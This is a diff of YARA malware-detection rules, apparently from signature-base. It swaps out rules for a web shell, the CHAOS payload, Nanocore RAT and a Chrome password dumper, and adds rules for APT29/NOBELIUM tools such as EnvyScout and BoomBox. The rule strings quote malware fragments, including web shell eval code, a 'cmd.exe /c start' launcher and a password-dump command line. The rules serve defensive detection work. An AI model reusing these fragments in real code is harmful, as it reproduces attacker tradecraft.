 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "input type"
-		$s1 = "<%eval request"
-		$s2 = "<%eval(Request.Item["
-		$s3 = "LANGUAGE='VBScript'"
-		$s4 = "$_REQUEST" fullword
-		$s5 = ";eval("
-		$s6 = "base64_decode"
-		$fp1 = "<form name=\"social_form\""
+		$s0 = "<%@Language=VBScript.Encode" ascii
+		$x1 = { 64 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x2 = { 64 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x3 = { 64 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x4 = { 64 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x5 = { 64 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x6 = { 64 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x7 = { 64 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x8 = { 64 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x9 = { 64 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x10 = { 64 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x11 = { 64 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x12 = { 64 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x13 = { 64 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x14 = { 64 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x15 = { 64 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x16 = { 64 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x17 = { 64 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x18 = { 64 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x19 = { 64 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x20 = { 64 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x21 = { 64 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x22 = { 64 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x23 = { 64 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x24 = { 64 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x25 = { 64 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x26 = { 6A 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x27 = { 6A 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x28 = { 6A 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x29 = { 6A 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x30 = { 6A 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x31 = { 6A 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x32 = { 6A 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x33 = { 6A 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x34 = { 64 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x35 = { 6A 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x36 = { 6A 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x37 = { 6A 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x38 = { 6A 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x39 = { 6A 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x40 = { 6A 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x41 = { 6A 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x42 = { 6A 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x43 = { 6A 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x44 = { 6A 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x45 = { 64 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x46 = { 6A 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x47 = { 6A 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x48 = { 6A 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x49 = { 6A 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x50 = { 6A 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x51 = { 6A 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x52 = { 6A 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x53 = { 6A 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x54 = { 6A 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x55 = { 6A 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x56 = { 64 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x57 = { 6A 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x58 = { 6A 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x59 = { 6A 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x60 = { 6A 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x61 = { 64 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x62 = { 64 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x63 = { 64 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
+		$x64 = { 64 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
 
 	condition:
-		uint32(0)==0x38464947 and (1 of ($s*)) and not 1 of ($fp*)
+		filesize >50KB and filesize <200KB and ($s0 and 1 of ($x*))
 }
-rule SIGNATURE_BASE_CHAOS_Payload : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_JS_Envyscout_May21_1 : FILE
 {
 	meta:
-		description = "Detects a CHAOS back connect payload"
+		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5057bc68-9bf8-54b4-88a1-d0c0cba62fa0"
-		date = "2017-07-15"
+		id = "42739aad-a88a-545b-8256-1f727c79c4f8"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/tiagorlampert/CHAOS"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_chaos_payload.yar#L11-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ca409d3d0430fbc4c5ae52ce22616132da3a90c1ec3889571c6314e8787eee67"
-		score = 80
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L56-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad8a7bb5a1d2065e3a573842fb37ee3c63b7695c18840f0c26d32e6ae3d99c6c"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0962fcfcb1b52df148720c2112b036e75755f09279e3ebfce1636739af9b4448"
-		hash2 = "5c3553345f824b7b6de09ccb67d834e428b8df17443d98816471ca28f5a11424"
 
 	strings:
-		$x1 = { 2F 43 48 41 4F 53 00 02 73 79 6E 63 2F 61 74 6F 6D 69 63 }
+		$x1 = "[i].charCodeAt(0) ^ 2);}"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
+		filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_Nanocore_RAT_Gen_1 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_JS_Envyscout_May21_2 : FILE
 {
 	meta:
-		description = "Detetcs the Nanocore RAT and similar malware"
+		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b007e0ce-e64f-5027-95ff-d178383e3b59"
-		date = "2016-04-22"
+		id = "d5cf3365-fe24-533a-a678-b5b6d4d99997"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nanocore_rat.yar#L8-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "09fab3ef1b4ca9092fd69fb09c4ef759946fcb5b84161441bff797bb4009ed00"
-		score = 70
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L69-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f5c50b340d628559799897a2ba79add7d126e3ecb2daeb365bc15d64796ccd2"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e707a7745e346c5df59b5aa4df084574ae7c204f4fb7f924c0586ae03b79bf06"
 
 	strings:
-		$x1 = "C:\\Users\\Logintech\\Dropbox\\Projects\\New folder\\Latest\\Benchmark\\Benchmark\\obj\\Release\\Benchmark.pdb" fullword ascii
-		$x2 = "RunPE1" fullword ascii
-		$x3 = "082B8C7D3F9105DC66A7E3267C9750CF43E9D325" fullword ascii
-		$x4 = "$374e0775-e893-4e72-806c-a8d880a49ae7" fullword ascii
-		$x5 = "Monitorinjection" fullword ascii
+		$s1 = "saveAs(blob, " ascii
+		$s2 = ".iso\");" ascii
+		$s3 = "application/x-cd-image" ascii
+		$s4 = ".indexOf(\"Win\")!=-1" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and (1 of them )) or (3 of them )
+		filesize <5000KB and all of them
 }
-rule SIGNATURE_BASE_Nanocore_RAT_Gen_2 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_LNK_NV_Link_May21_2 : FILE
 {
 	meta:
-		description = "Detetcs the Nanocore RAT"
+		description = "Detects NV Link as used by NOBELIUM group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "74124961-3b0e-5808-b495-90437d3a5999"
-		date = "2016-04-22"
+		id = "52c2caf9-13df-5614-9c9e-afcd76ec77f9"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nanocore_rat.yar#L28-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23b3d149012fb8395b7daa2ecaf3ee66fdeac352ac94d632d76e52df2c6e8ea6"
-		score = 100
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L85-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5eee9df368da3fc98c00a0f8c65a7f3bd5b812342082be58054b272b5bb03455"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050"
 
 	strings:
-		$x1 = "NanoCore.ClientPluginHost" fullword ascii
-		$x2 = "IClientNetworkHost" fullword ascii
-		$x3 = "#=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe" fullword ascii
+		$s1 = "RegisterOCX BOOM" ascii wide
+		$s2 = "cmd.exe /c start BOOM.exe" ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 1 of them ) or ( all of them )
+		filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_Nanocore_RAT_Sample_1 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_LNK_Samples_May21_1 : FILE
 {
 	meta:
-		description = "Detetcs a certain Nanocore RAT sample"
+		description = "Detects link file characteristics as described in APT29 NOBELIUM report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "381d3caf-77de-544c-869c-4d9f0cae148f"
-		date = "2016-04-22"
+		id = "c807ab5a-f66a-5622-81b1-6e69b6df8446"
+		date = "2021-05-27"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nanocore_rat.yar#L46-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c74e5fe7e9d4dd7f032281b0e617f2355bc5844acf04a8ffbfd42165c7d9b8e4"
-		score = 75
+		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L99-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32d76bb1af76f0fc2afb76d9726bc8ec99c4be34c9d46cebab7356d8c68af11c"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash2 = "b7cfc7e9551b15319c068aae966f8a9ff563b522ed9b1b42d19c122778e018c8"
+		hash1 = "24caf54e7c3fe308444093f7ac64d6d520c8f44ea4251e09e24931bdb72f5548"
 
 	strings:
-		$x1 = "TbSiaEdJTf9m1uTnpjS.n9n9M7dZ7FH9JsBARgK" fullword wide
-		$x2 = "1EF0D55861681D4D208EC3070B720C21D885CB35" fullword ascii
-		$x3 = "popthatkitty.Resources.resources" fullword ascii
+		$a1 = "rundll32.exe" wide
+		$sa1 = "IMGMountingService.dll" wide
+		$sa2 = "MountImgHelper" wide
+		$sb1 = "diassvcs.dll" wide
+		$sb2 = "InitializeComponent" wide
+		$sc1 = "MsDiskMountService.dll" wide
+		$sc2 = "DiskDriveIni" wide
+		$sd1 = "GraphicalComponent.dll" wide
+		$sd2 = "VisualServiceComponent" wide
+		$se1 = "data/mstu.dll,MicrosoftUpdateService" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*))) or ( all of them )
+		uint16(0)==0x004c and filesize <4KB and $a1 and ( all of ($sa*) or all of ($sb*) or all of ($sc*) or all of ($sd*) or all of ($se*))
 }
-rule SIGNATURE_BASE_Nanocore_RAT_Sample_2 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_May21_1
 {
 	meta:
-		description = "Detetcs a certain Nanocore RAT sample"
+		description = "Detects BoomBox malware as described in APT29 NOBELIUM report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "81f6771a-29a3-5fa0-8d24-ea717d3c5251"
-		date = "2016-04-22"
+		id = "fe964f3e-1cda-5f16-838f-dd7b23cd5651"
+		date = "2021-05-27"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nanocore_rat.yar#L64-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "505176b7320e95c652f0b6fdc6fadc3d16ff30115263862ba61209fa2fb82a2d"
-		score = 75
+		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L130-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "02e4a1c88c5d5567c2c4098f60107d66ace9deaf03c480f15615f7f85a7c620c"
+		score = 85
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "51142d1fb6c080b3b754a92e8f5826295f5da316ec72b480967cbd68432cede1"
+		tags = ""
 
 	strings:
-		$s1 = "U4tSOtmpM" fullword ascii
-		$s2 = ")U71UDAU_QU_YU_aU_iU_qU_yU_" wide
-		$s3 = "Cy4tOtTmpMtTHVFOrR" fullword ascii
+		$xa1 = "123do3y4r378o5t34onf7t3o573tfo73" ascii wide fullword
+		$xa2 = "1233t04p7jn3n4rg" ascii wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and all of ($s*)
+		1 of them
 }
-rule SIGNATURE_BASE_Nanocore_RAT_Feb18_1 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_PDF_Masq_May21_1 : FILE
 {
 	meta:
-		description = "Detects Nanocore RAT"
+		description = "Detects PDF documents as used by BoomBox as described in APT29 NOBELIUM report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6db0c8a7-8c31-58a6-8732-de6663fec16b"
-		date = "2018-02-19"
+		id = "bdfb9600-edda-5c8c-ab23-14fb71c8e647"
+		date = "2021-05-27"
 		modified = "2023-12-05"
-		reference = "Internal Research - T2T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nanocore_rat.yar#L92-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "824fd7304fb298ced69811078aa2dd23d7116554cffb8b6e4b690fccc93a4caf"
-		score = 75
-		quality = 85
+		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L145-L164"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8f1514648b2b797adfe3f8f5acb577c26707dfe1da942c9634be3d88a180a407"
+		score = 70
+		quality = 35
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c"
 
 	strings:
-		$x1 = "NanoCore Client.exe" fullword ascii
-		$x2 = "NanoCore.ClientPluginHost" fullword ascii
-		$s1 = "PluginCommand" fullword ascii
-		$s2 = "FileCommand" fullword ascii
-		$s3 = "PipeExists" fullword ascii
-		$s4 = "PipeCreated" fullword ascii
-		$s5 = "IClientLoggingHost" fullword ascii
+		$ah1 = { 25 50 44 46 2d 31 2e 33 0a 25 }
+		$af1 = { 0a 25 25 45 4f 46 0a }
+		$fp1 = "endobj" ascii
+		$fp2 = "endstream" ascii
+		$fp3 = { 20 6F 62 6A 0A }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 5 of them )
+		$ah1 at 0 and $af1 at ( filesize -7) and filesize <100KB and not 1 of ($fp*) and math.entropy(16, filesize )>7
 }
-rule SIGNATURE_BASE_Nanocore_RAT_Feb18_2 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Nativezone_Loader_May21_1 : FILE
 {
 	meta:
-		description = "Detects Nanocore RAT"
+		description = "Detects NativeZone loader as described in APT29 NOBELIUM report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "83a8ad4d-0bef-5ba2-aa10-eac5601f2c7b"
-		date = "2018-02-19"
+		id = "02d9257d-f439-5071-96b0-a973b088e329"
+		date = "2021-05-27"
 		modified = "2023-12-05"
-		reference = "Internal Research - T2T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nanocore_rat.yar#L117-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c104e431a4ecc0d18d7eb74e7a55d32bf8978ee922637d48f3f6a9466a0f5b1a"
-		score = 75
+		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L166-L186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a02fd6fcd7423781bbd2e4458bd61d28e16a5b1a73b1682e63db5c86d53c7da4"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "377ef8febfd8df1a57a7966043ff0c7b8f3973c2cf666136e6c04080bbf9881a"
+		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
 
 	strings:
-		$s1 = "ResManagerRunnable" fullword ascii
-		$s2 = "TransformRunnable" fullword ascii
-		$s3 = "MethodInfoRunnable" fullword ascii
-		$s4 = "ResRunnable" fullword ascii
-		$s5 = "RunRunnable" fullword ascii
-		$s6 = "AsmRunnable" fullword ascii
-		$s7 = "ReadRunnable" fullword ascii
-		$s8 = "ExitRunnable" fullword ascii
+		$s1 = "\\SystemCertificates\\Lib\\CertPKIProvider.dll" ascii
+		$s2 = "rundll32.exe %s %s" ascii fullword
+		$s3 = "eglGetConfigs" ascii fullword
+		$op1 = { 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 33 db 89 5d fc }
+		$op2 = { 8b 46 18 e9 30 ff ff ff 90 87 2f 00 10 90 2f 00 10 }
+		$op3 = { e8 14 dd ff ff 8b f1 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and 3 of them or 4 of them
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Wiltedtulip_Tools_Back : FILE
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_May21_2 : FILE
 {
 	meta:
-		description = "Detects Chrome password dumper used in Operation Wilted Tulip"
+		description = "Detects BoomBox malware used by APT29 / NOBELIUM"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3f57bd66-b269-5f59-ade1-f881b1d7dadd"
-		date = "2017-07-23"
-		modified = "2022-12-21"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L13-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a23491cbb24177c027695d8f677c4a72ed0404c4c38356eec4b92f2d06be2ee"
+		id = "a4144c00-48b2-5520-b773-5d0a5de95fb1"
+		date = "2021-05-29"
+		modified = "2023-12-05"
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L188-L216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2a3829e704af2464639d07e8e7952669281e20cf2a7ac487d5d1eee021d08b35"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b7faeaa6163e05ad33b310a8fdc696ccf1660c425fa2a962c3909eada5f2c265"
+		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
+		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
+		hash3 = "cf1d992f776421f72eabc31d5afc2f2067ae856f1c9c1d6dc643a67cb9349d8c"
 
 	strings:
-		$x1 = "%s.exe -f \"C:\\Users\\Admin\\Google\\Chrome\\TestProfile\" -o \"c:\\passlist.txt\"" fullword ascii
-		$x2 = "\\ChromePasswordDump\\Release\\FireMaster.pdb" ascii
-		$x3 = "//Dump Chrome Passwords to a Output file \"c:\\passlist.txt\"" fullword ascii
+		$x1 = "\\Microsoft\\NativeCache\\NativeCacheSvc.dll" wide
+		$x2 = "\\NativeCacheSvc.dll _configNativeCache" wide
+		$a1 = "/content.dropboxapi.com" wide fullword
+		$s1 = "rundll32.exe {0} {1}" wide fullword
+		$s2 = "\\\\CertPKIProvider.dll" wide
+		$s3 = "/tmp/readme.pdf" wide
+		$s4 = "temp/[^\"]*)\"" wide fullword
+		$op1 = { 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 01 2f 4f 00 72 00 }
+		$op2 = { 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 }
+		$op3 = { 4d 05 20 00 12 80 91 04 20 01 08 0e 04 20 00 12 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <40KB and 3 of them or 4 of them
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Wiltedtulip_Tools_Clrlg : FILE
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_2 : FILE
 {
 	meta:
